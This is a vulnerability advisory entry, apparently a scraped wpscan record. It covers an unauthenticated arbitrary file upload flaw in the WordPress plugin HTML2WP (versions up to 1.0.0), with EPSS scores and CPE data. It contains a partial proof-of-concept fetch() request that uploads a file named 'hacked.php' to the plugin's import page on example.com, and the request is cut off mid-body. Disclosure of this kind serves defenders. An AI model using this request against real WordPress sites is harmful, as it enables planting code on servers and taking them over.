Lucene search

K
wpvulndbDaniel RufWPVDB-ID:C36D0EA8-BF5C-4AF9-BD3D-911EB02ADC14
HistoryJun 02, 2022 - 12:00 a.m.

HTML2WP <= 1.0.0 - Unauthenticated Arbitrary File Upload

2022-06-0200:00:00
Daniel Ruf
wpscan.com
6

0.05 Low

EPSS

Percentile

92.9%

The plugin does not have authorisation and CSRF checks when importing files, and does not validate them, as a result, unauthenticated attackers can upload arbitrary files (such as PHP) on the remote server

PoC

await fetch(“https://example.com/wp-admin/admin.php?page=html2wp-settings”, { “headers”: { “User-Agent”: “Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0”, “Accept”: “text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8”, “Accept-Language”: “de,en;q=0.7,en-US;q=0.3”, “Content-Type”: “multipart/form-data; boundary=---------------------------7816508136577551742878603990”, “Upgrade-Insecure-Requests”: “1”, “Sec-Fetch-Dest”: “document”, “Sec-Fetch-Mode”: “navigate”, “Sec-Fetch-Site”: “cross-site”, “Sec-Fetch-User”: “?1” }, “body”: "-----------------------------7816508136577551742878603990\r\nContent-Disposition: form-data; name="local_importing[]"; filename="hacked.php"\r\nContent-Type: text/html\r\n\r\n

CPENameOperatorVersion
html2wpeq*

0.05 Low

EPSS

Percentile

92.9%

Related for WPVDB-ID:C36D0EA8-BF5C-4AF9-BD3D-911EB02ADC14